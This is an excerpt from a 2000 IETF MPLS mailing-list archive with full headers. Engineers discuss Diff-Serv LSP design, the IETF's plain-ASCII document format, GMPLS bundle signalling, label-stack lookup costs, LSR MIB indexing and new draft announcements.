you want to support the whole of Diff-Serv and nothing but Diff-Serv, this is definitely the simplest way. >One advantage I can think of is the scaling by putting multiple classes into >one LSP. But, is it feasible to support bandwidth gurantee for each class >with this implementation? When an application requires a strict bandwidth >gurantee for each service (say, 10Mbps for video and 5 Mbps for data), can >MPLS E-LSP support this? Well, if you want to offer strict point-to-point QoS commitments to differnet classes then you may need multiple LSPs. But note that (assuming you have no more than 8 Behavior Aggregates to support) you still have a choice: - you can set-up multiple L-LSPs (then by definition they transport one class each) - you can set-up multiple E-LSPs and only send one class on each. In both cases you may perform constraint based routing with constraints which depend on the transported class (see draft-ietf-mpls-diff-te-00.txt which discuss Diff-SErv aware Traffic Engineering) >Also, how would the MPLS-TE attributes such as >adaptability and resilience be applicable to multiple classes within LSP? > yes, if you want to apply different resiliency policy to differnet classes you woudl need multiple LSPs. Again you have the choice between multiple E-LSPs or multiple L-LSPs. Cheers Francois >Young Lee >Iris Labs > From owner-mpls@UU.NET Fri Nov 17 11:56:30 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA27244 for ; Fri, 17 Nov 2000 11:56:30 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpsl09580; Fri, 17 Nov 2000 16:54:21 GMT Received: by mail-control.mail.uu.net id QQjpsl25295 for mpls-outgoing; Fri, 17 Nov 2000 16:54:00 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpsl25290 for ; Fri, 17 Nov 2000 16:53:58 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpsl27456 for ; Fri, 17 Nov 2000 16:53:37 GMT Received: from workhorse.fictitious.org by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: workhorse.fictitious.org [209.66.129.230]) id QQjpsl08289 for ; Fri, 17 Nov 2000 16:53:35 GMT Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1]) by workhorse.fictitious.org (8.9.3/8.9.3) with ESMTP id LAA23738; Fri, 17 Nov 2000 11:51:22 -0500 (EST) (envelope-from curtis@workhorse.fictitious.org) Message-Id: <200011171651.LAA23738@workhorse.fictitious.org> To: mpls@UU.NET cc: curtis@avici.com Reply-To: curtis@avici.com Subject: Re: Creating .txt with IETF Format Date: Fri, 17 Nov 2000 11:51:22 -0500 From: Curtis Villamizar Sender: owner-mpls@UU.NET Precedence: bulk I appologize for adding to this thread. I just want to point out some of the reasoning behind the decision to stay with ASCII. Please don't Cc the list on any replies. Rob and Jeff both make excellent points. The main point is that word processing formats are 1) proprietary, 2) not documented accurately if at all, 3) not stable, 4) incompatible between products and often versions of the same product. In 1991 there was a push to create RFCs using the most popular word processor of the time. That word processor was wordperfect. If the proponents of that move had been successful, many of the RFCs created in the next few years would be unreadable today. ASCII is also the most readable format for the visually impaired. I know of at least one blind person who is a regular IETF contributor, a highly productive individual, and an RFC author. Lets be considerate. Scott made the most important point. This conversation belongs elsewhere, has already gone on elsewhere, and should stop on this list. I just wanted to add some of the reasoning why proprietary word processor formats have consistenty been rejected for the benefit of those who might keep this conversation going without knowing the history behind the decision or reading the archives. Curtis fyi - Many people use nroff for RFCs. I use latex and rfc.sty macros modified for latex2e and for reasonable output using latex2html. I also use latex for slides in case Neil still wants to know, and yes Neil, latex source is readable ASCII and very easily exchanged among authors and modified as source. Things like grep and all of the advanced search and replace and macro capabilities of emacs work on the source file. And very important for documents with multiple authors, diff works on the source files. Message-Id: <200011171236.HAA04987@iol.unh.edu> From: Rob Blais Subject: Re: Creating .txt with IETF Format To: neil.2.harrison@bt.com Date: Fri, 17 Nov 2000 07:36:43 -0500 (EST) Cc: mpls@UU.NET Would it not be hypocritical of the IETF to both create and promote open specifications (RFCs) while at the same time advocating or at least accepting a proprietary document format such as MS-Word? As one who has wasted far too much time on the blue screen of death and finally made the switch back to Unix, I would very much be opposed to any attempts to change the current open and portable document distribution practices. The IETF has reached almost Zen-like perfection in management of documents. I wish all standards organizations were this good! It is the epitomy of the KISS principle in action. If it ain't broke, don't fix it. It sure doesn't look broken to me. I vote in favor of keeping the status quo. /rob - --------------------------------------------------------------------- Rob Blais rdb@iol.unh.edu "The Internet? MPLS Consortium Manager Phone: 603-862-4569 Is that thing ATM Operations Manager Fax: 603-862-4181 still around?" UNH InterOperability Lab http://www.iol.unh.edu/ -Homer Simpson Message-ID: From: Jeff Parker To: "'neil.2.harrison@bt.com'" Cc: mpls@UU.NET Subject: RE: Creating .txt with IETF Format Date: Fri, 17 Nov 2000 09:36:54 -0500 > I find it kind of weird that the vast majority (read as > overwhelming consensus and far from rough running code') > use Word/ppt and yet we are forced to use this outdated > mode for producing IDs. I know this is off task, but I'm surprised that the ultimate IETF dictum, conservative in what you send, has not been invoked. I notice that no one complains about being unable to read RFC 12. In the past, Microsoft has had trouble reading old versions of Word documents. I spent far longer than I would like to admit last spring revising a course so that current versions of Power Point could read old versions. I shudder to think of the task of revising old RFCs everytime Redmond decides we need to upgrade. - - jeff parker - - axiowave networks From owner-mpls@UU.NET Fri Nov 17 12:16:39 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA05859 for ; Fri, 17 Nov 2000 12:16:38 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpsn14307; Fri, 17 Nov 2000 17:15:11 GMT Received: by mail-control.mail.uu.net id QQjpsm08852 for mpls-outgoing; Fri, 17 Nov 2000 17:14:40 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpsm08844 for ; Fri, 17 Nov 2000 17:14:39 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpsm24053 for ; Fri, 17 Nov 2000 17:14:16 GMT Received: from firewall.ma.virata.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: agranat.com [198.113.147.2]) id QQjpsm03294 for ; Fri, 17 Nov 2000 17:14:15 GMT Received: from ma.virata.com (alice.agranat.com [10.21.0.130]) by firewall.ma.virata.com (8.9.0/8.9.0) with ESMTP id MAA20023 for ; Fri, 17 Nov 2000 12:14:15 -0500 Received: from cowboy.ma.virata.com (cowboy.ma.virata.com [10.21.0.14]) by ma.virata.com (8.8.5/8.8.5) with ESMTP id MAA11764 for ; Fri, 17 Nov 2000 12:14:14 -0500 Received: by cowboy.ma.virata.com with Internet Mail Service (5.5.2650.21) id ; Fri, 17 Nov 2000 12:13:42 -0500 Message-ID: <2B31A87FDF5DD411A74200508BD94E4902D125@cowboy.ma.virata.com> From: "Achkinazi, Igor" To: "'mpls@UU.NET'" Subject: GMPLS bi-directional LSPs and bundles Date: Fri, 17 Nov 2000 12:13:39 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi folks, Could anyone clarify how upstream LSR can signal specific component link in the bundle for bi-directional LSP establishment described in MPLS generalized signaling draft? There is a COMPONENT_INTERFACE_ID object/TLV for signaling of outgoing segment of bi-directional LSP. How upstream LSR can signal COMPONENT_INTERFACE_ID for incoming segment of bi-directional LSP? There is only upstream label that LSR can signal. Thanks a lot, Igor Achkinazi From owner-mpls@UU.NET Fri Nov 17 12:25:17 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA09271 for ; Fri, 17 Nov 2000 12:25:17 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpsn27154; Fri, 17 Nov 2000 17:23:51 GMT Received: by mail-control.mail.uu.net id QQjpsn09602 for mpls-outgoing; Fri, 17 Nov 2000 17:23:34 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpsn09597 for ; Fri, 17 Nov 2000 17:23:30 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpsn07844 for ; Fri, 17 Nov 2000 17:23:18 GMT From: darren.freeland@bt.com Received: from marvin.axion.bt.co.uk by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: marvin.axion.bt.co.uk [132.146.16.82]) id QQjpsn16255 for ; Fri, 17 Nov 2000 17:23:18 GMT Received: from cbtlipnt02.btlabs.bt.co.uk by marvin (local) with ESMTP; Fri, 17 Nov 2000 17:13:33 +0000 Received: by cbtlipnt02.btlabs.bt.co.uk with Internet Mail Service (5.5.2652.35) id ; Fri, 17 Nov 2000 17:12:12 -0000 Message-ID: <71DA16F18D32D2119A1D0000F8FE9A940920C863@mbtlipnt01.btlabs.bt.co.uk> To: mpls@UU.NET Subject: Optical work in the MPLS group Date: Fri, 17 Nov 2000 17:12:08 -0000 X-Mailer: Internet Mail Service (5.5.2652.35) MIME-version: 1.0 Content-type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi, Could anyone tell me when discussions on layer 1 optical began on the MPLS list? The archives for the IPO list only go back as far as Jan 2000, but I'm pretty sure discussions would have started on the MPLS list well before that ... Thanks in advance. Darren. From owner-mpls@UU.NET Fri Nov 17 12:51:11 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA19490 for ; Fri, 17 Nov 2000 12:51:11 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpsp04017; Fri, 17 Nov 2000 17:49:37 GMT Received: by mail-control.mail.uu.net id QQjpsp11968 for mpls-outgoing; Fri, 17 Nov 2000 17:48:56 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpsp11956 for ; Fri, 17 Nov 2000 17:48:42 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpsp12516 for ; Fri, 17 Nov 2000 17:48:23 GMT Received: from workhorse.fictitious.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: workhorse.fictitious.org [209.66.129.230]) id QQjpsp21816 for ; Fri, 17 Nov 2000 17:48:22 GMT Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1]) by workhorse.fictitious.org (8.9.3/8.9.3) with ESMTP id MAA23889; Fri, 17 Nov 2000 12:45:51 -0500 (EST) (envelope-from curtis@workhorse.fictitious.org) Message-Id: <200011171745.MAA23889@workhorse.fictitious.org> To: Eyad Saheb cc: "'mpls@uu.net'" Reply-To: curtis@avici.com Subject: Re: multiple lookups per packet In-reply-to: Your message of "Thu, 16 Nov 2000 23:01:05 EST." Date: Fri, 17 Nov 2000 12:45:51 -0500 From: Curtis Villamizar Sender: owner-mpls@UU.NET Precedence: bulk In message , Eyad Saheb writes: > This message is in MIME format. Since your mail reader does not understand > this format, some or all of this message may not be legible. > > ------_=_NextPart_001_01C0504B.020EAF60 > Content-Type: text/plain; > charset="iso-8859-1" > > Hello everyone, > > I have a question regarding the number of label lookups/operation > required per packet. Particularly, if a LSR does a lookup on an incoming > packet it could result in another lookup. For example, consider the case > where a packet gets labeled upon entry into a MPLS domain. At the following > LSR, this packet/LSP can be further tunneled by adding another label to the > stack. This tunnel could itself be tunneled by another LSR, and so on, > resulting in a considerable label stack. Suppose that all the tunnels > terminate on the same LSR. The terminating LSR would perform a lookup, > determine it is the end of the LSP, and pop the label. However the next > label would indicate the same thing, etc... This kind of situation can make > it difficult for routers to maintain line-rate fowarding since there's no > guarantee that the next lookup won't lead to another. Is there a way around > this (perhaps using penultimate hop popping)? Does the MPLS architecture > stipulate that situations like this should/must not occur ? > > thanks, > > Eyad Combining VPN and LDP inside RSVP/TE and hierarchical TE tunnels you could conceivably get 5-6 labels, although I haven't seen any network design proposals that called for more than 3-4 at the very most. With PHP you can avoid having to do quite so many POPs at an egress but you lose counter information, may lose some OAM capability (that no one really has quite yet with or without PHP), and may lose some QoS capabilty (again, that no one really has quite yet with or without PHP). If you are smart about it you may be able to load enough packet header and a table with operations but maybe without labels and never go off chip during the sequence of POP operations, only going off chip on a SWAP or PUSH and in this way minimizing the effect of multiple operations on a deep label stack. If you can get enough bits on chip you might be able to avoid going off chip entirely. If you're smart when you do the protocol part you can look at how many POPs will be needed and ask for PHP on the inner tunnels (set up last) if the depth may be too great for the packet rate and your hardware design. Curtis From owner-mpls@UU.NET Fri Nov 17 12:59:47 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA22723 for ; Fri, 17 Nov 2000 12:59:46 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpsp16604; Fri, 17 Nov 2000 17:58:15 GMT Received: by mail-control.mail.uu.net id QQjpsp12643 for mpls-outgoing; Fri, 17 Nov 2000 17:57:57 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpsp12638 for ; Fri, 17 Nov 2000 17:57:54 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpsp01614 for ; Fri, 17 Nov 2000 17:56:33 GMT Received: from red.juniper.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: red.juniper.net [207.17.136.137]) id QQjpsp03548 for ; Fri, 17 Nov 2000 17:56:33 GMT Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90]) by red.juniper.net (8.9.3/8.9.3) with ESMTP id JAA01909; Fri, 17 Nov 2000 09:56:29 -0800 (PST) Received: (from kireeti@localhost) by kummer.juniper.net (8.8.7/8.7.3) id JAA01072; Fri, 17 Nov 2000 09:56:28 -0800 (PST) Date: Fri, 17 Nov 2000 09:56:28 -0800 (PST) From: Kireeti Kompella Message-Id: <200011171756.JAA01072@kummer.juniper.net> To: iachkinazi@virata.com, mpls@UU.NET Subject: Re: GMPLS bi-directional LSPs and bundles Sender: owner-mpls@UU.NET Precedence: bulk There are actually two component interface ids, one for each direction. draft-kompella-mpls-bundle-03.txt, Section 5.2.1: 5.2.1. COMPONENT_INTERFACE_ID Object Class A new object class, the COMPONENT_INTERFACE_ID object class, is defined. The Length field is set to 8. The Class Num is TBD of form 0bbbbbbb. The DOWNSTREAM_COMPONENT_INTERFACE_ID object, which has a C_Type of 1, is used to indicate the component interface to be used for traffic flowing in the downstream direction. The UPSTREAM_COMPONENT_INTERFACE_ID object, which has a C_Type of 2, is used to indicate the component interface to be used for traffic flowing in the upstream direction. BTW, a new version of this draft has been posted and should show up in a few days. Among the changes are that component interface ids are 32 bits. Hope that helps, Kireeti. From owner-mpls@UU.NET Fri Nov 17 14:28:31 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA29386 for ; Fri, 17 Nov 2000 14:28:31 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpsv28936; Fri, 17 Nov 2000 19:26:38 GMT Received: by mail-control.mail.uu.net id QQjpsv14852 for mpls-outgoing; Fri, 17 Nov 2000 19:26:01 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpsv14770 for ; Fri, 17 Nov 2000 19:25:41 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpsv22243 for ; Fri, 17 Nov 2000 19:25:26 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpsv27145 for ; Fri, 17 Nov 2000 19:25:25 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id OAA04279 for mpls@uu.net; Fri, 17 Nov 2000 14:25:25 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpsv14514 for ; Fri, 17 Nov 2000 19:24:58 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpsv11846 for ; Fri, 17 Nov 2000 19:24:54 GMT Received: from xover.hjinc.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [38.160.241.130]) id QQjpsv26430 for ; Fri, 17 Nov 2000 19:24:54 GMT Received: by xover.hjinc.com with Internet Mail Service (5.5.2650.21) id ; Fri, 17 Nov 2000 14:22:46 -0500 Message-ID: <87009604743AD411B1F600508BA0F9591AEC95@xover.hjinc.com> From: "Friedeborn, William" To: "'mpls@uu.net'" Subject: re: LSR MIB, OutSegment Index Date: Fri, 17 Nov 2000 14:22:45 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk I've been working with the LSR and TE MIBs for a while and have run into some implementation problems with the OutSegment objects. In a monolithic environment it is pretty straight forward to implement the OutSegment table. However, in a distributed environment, this is quite challenging. What is the reasoning behind using an IndexNext object to get the OutSegment Index? The InSegment table is indexed by IfIndex and Label, which makes it very easy to distribute. I can look at the ifIndex and know what line card has the InSegment object. On the other hand the OutSegment table only has the abtract OutSegmentIndex. I would have to go to each line card to find out which one has that index, or maintain lists of indexes to ifIndexes on each line card. It just seems like an added indirection that creates more complexity. Am I missing something here? Thanks, Bill From owner-mpls@UU.NET Fri Nov 17 14:38:41 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA04393 for ; Fri, 17 Nov 2000 14:38:40 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpsw15353; Fri, 17 Nov 2000 19:36:16 GMT Received: by mail-control.mail.uu.net id QQjpsw16119 for mpls-outgoing; Fri, 17 Nov 2000 19:35:41 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpsw16099 for ; Fri, 17 Nov 2000 19:35:25 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpsw19006 for ; Fri, 17 Nov 2000 19:34:51 GMT Received: from packetbdc.packettech.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: packetbdc.riverdelta.com [198.112.190.11]) id QQjpsw13270 for ; Fri, 17 Nov 2000 19:34:51 GMT Received: by packetbdc.riverdelta.com with Internet Mail Service (5.5.2650.21) id ; Fri, 17 Nov 2000 14:35:51 -0500 Message-ID: <7F4AC78738EAD2119D86009027626C6D012CEEC6@packetbdc.riverdelta.com> From: Kalpesh Sheth To: "'Eyad Saheb'" , "'mpls@uu.net'" Subject: RE: multiple lookups per packet Date: Fri, 17 Nov 2000 14:35:48 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C050CD.9739AD92" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C050CD.9739AD92 Content-Type: text/plain; charset="iso-8859-1" This is a very good question and I, too would be interested in hearing what other's have to say. As far as I know, this is the reason no body gurantees line rate when you have more than one/two level of tunneling. In hardware your processing time is governed by the worst-case scenario and in this case, there is not end to it. MPLS architecture spec. does not address this. Other than some proprietary way to handle this, I don't see how one can maintain "line rate". -Kalpesh Sheth -----Original Message----- From: Eyad Saheb [mailto:esaheb@hyperchip.com] Sent: Thursday, November 16, 2000 11:01 PM To: 'mpls@uu.net' Subject: multiple lookups per packet Hello everyone, I have a question regarding the number of label lookups/operation required per packet. Particularly, if a LSR does a lookup on an incoming packet it could result in another lookup. For example, consider the case where a packet gets labeled upon entry into a MPLS domain. At the following LSR, this packet/LSP can be further tunneled by adding another label to the stack. This tunnel could itself be tunneled by another LSR, and so on, resulting in a considerable label stack. Suppose that all the tunnels terminate on the same LSR. The terminating LSR would perform a lookup, determine it is the end of the LSP, and pop the label. However the next label would indicate the same thing, etc... This kind of situation can make it difficult for routers to maintain line-rate fowarding since there's no guarantee that the next lookup won't lead to another. Is there a way around this (perhaps using penultimate hop popping)? Does the MPLS architecture stipulate that situations like this should/must not occur ? thanks, Eyad ------_=_NextPart_001_01C050CD.9739AD92 Content-Type: text/html; charset="iso-8859-1" multiple lookups per packet
This is a very good question and I, too would be interested in hearing what other's have to say. As far as I know, this is the reason no body gurantees line rate when you have more than one/two level of tunneling. In hardware your processing time is governed by the worst-case scenario and in this case, there is not end to it. MPLS architecture spec. does not address this. Other than some proprietary way to handle this, I don't see how one can maintain "line rate".
 
-Kalpesh Sheth
-----Original Message-----
From: Eyad Saheb [mailto:esaheb@hyperchip.com]
Sent: Thursday, November 16, 2000 11:01 PM
To: 'mpls@uu.net'
Subject: multiple lookups per packet

Hello everyone,

    I have a question regarding the number of label lookups/operation required per packet.  Particularly, if a LSR does a lookup on an incoming packet it could result in another lookup.  For example, consider the case where a packet gets labeled upon entry into a MPLS domain.  At the following LSR, this packet/LSP can be further tunneled by adding another label to the stack.  This tunnel could itself be tunneled by another LSR, and so on, resulting in a considerable label stack.  Suppose that all the tunnels terminate on the same LSR.  The terminating LSR would perform a lookup, determine it is the end of the LSP, and pop the label.  However the next label would indicate the same thing, etc... This kind of situation can make it difficult for routers to maintain line-rate fowarding since there's no guarantee that the next lookup won't lead to another.  Is there a way around this (perhaps using penultimate hop popping)?  Does the MPLS architecture stipulate that situations like this should/must not occur ?

thanks,

        Eyad


------_=_NextPart_001_01C050CD.9739AD92-- From owner-mpls@UU.NET Fri Nov 17 18:20:01 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA14589 for ; Fri, 17 Nov 2000 18:20:00 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjptl29485; Fri, 17 Nov 2000 23:18:35 GMT Received: by mail-control.mail.uu.net id QQjptl24180 for mpls-outgoing; Fri, 17 Nov 2000 23:18:16 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjptl24169 for ; Fri, 17 Nov 2000 23:18:09 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjptl09495; Fri, 17 Nov 2000 23:16:14 GMT Received: from auemlsrv.firewall.lucent.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: auemail1.lucent.com [192.11.223.161]) id QQjptl25328; Fri, 17 Nov 2000 23:16:14 GMT Received: from auemlsrv.firewall.lucent.com (localhost [127.0.0.1]) by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id SAA24020; Fri, 17 Nov 2000 18:16:10 -0500 (EST) Received: from mvmail.mv.lucent.com (h135-13-96-58.lucent.com [135.13.96.58]) by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id SAA24015; Fri, 17 Nov 2000 18:16:09 -0500 (EST) Received: from lucent.com (ma0940xuyg.mv.lucent.com [135.13.36.111]) by mvmail.mv.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id SAA12046; Fri, 17 Nov 2000 18:16:07 -0500 (EST) Message-ID: <3A15BC36.15DCCBA8@lucent.com> Date: Fri, 17 Nov 2000 18:16:06 -0500 From: Yangguang Xu Organization: Lucent Technologies, Inc. X-Mailer: Mozilla 4.7 [en]C-EMS-1.4 (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: te-wg@UU.NET, mpls@UU.NET, ip-optical@list.bell-labs.com Subject: New draft: draft-xu-mpls-ipo-gmpls-arch-00.txt Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi, A new I-D has just been submitted to IETF. "Generalized MPLS Control Plane Architecture for Automatic Switched Transport Network" Abstract: Many solutions have been proposed to enable automatically switched transport networks (ASTN). This document describes a control plane architecture that can be applied to different packet and circuit switching technologies (including fiber, waveband, wavelength, PDH, and SONET/SDH). The control plane technology is based on IP/MPLS control plane protocols. As such, this document is based on the concepts introduced in [MPLambdas] and [GMPLS-SIG] from an architectural perspective. It also describes how this control plane architecture could facilitate control plane integration of networks across technical, administrative, and business domains. This memo includes generic procedures, key concepts, and technical considerations for the generalized MPLS control plane architecture. It is intended to accentuate understanding of the application domains, create architectural alignment, and serve as guide for protocol engineering. Instead of waiting until Dec. 04. It can be viewed at: http://www.geocities.com/yangguangxu/draft-xu-mpls-ipo-gmpls-arch-00.txt Regards, Yangguang From owner-mpls@UU.NET Fri Nov 17 19:44:49 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA15468 for ; Fri, 17 Nov 2000 19:44:49 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjptq04272; Sat, 18 Nov 2000 00:43:18 GMT Received: by mail-control.mail.uu.net id QQjptq11263 for mpls-outgoing; Sat, 18 Nov 2000 00:42:35 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjptq11258 for ; Sat, 18 Nov 2000 00:42:25 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjptq04272 for ; Sat, 18 Nov 2000 00:41:44 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjptq20358 for ; Sat, 18 Nov 2000 00:41:44 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id TAA06577 for mpls@uu.net; Fri, 17 Nov 2000 19:41:43 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjptq11232 for ; Sat, 18 Nov 2000 00:40:58 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjptq12841 for ; Sat, 18 Nov 2000 00:40:03 GMT Received: from p-mail2.cnet.fr by cmr0.ash.ops.us.uu.net with SMTP (peer crosschecked as: p-mail2.rd.francetelecom.fr [193.49.124.32]) id QQjptq07834 for ; Sat, 18 Nov 2000 00:40:03 GMT Received: by p-voyageur.issy.cnet.fr with Internet Mail Service (5.5.2650.21) id ; Sat, 18 Nov 2000 01:40:00 +0100 Message-ID: From: CARUGI Marco FTRD/DAC/LAN To: mpls@UU.NET Cc: "'nbvpn@bbo.com'" Subject: TR: PPVPN (NBVPN) agenda for San Diego Date: Sat, 18 Nov 2000 01:37:02 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hello. FYI : the proposed agenda of PPVPN (NBVPN) in San Diego. Regards, Marco > AGENDA (reduced slots due to limited total time availability) > > 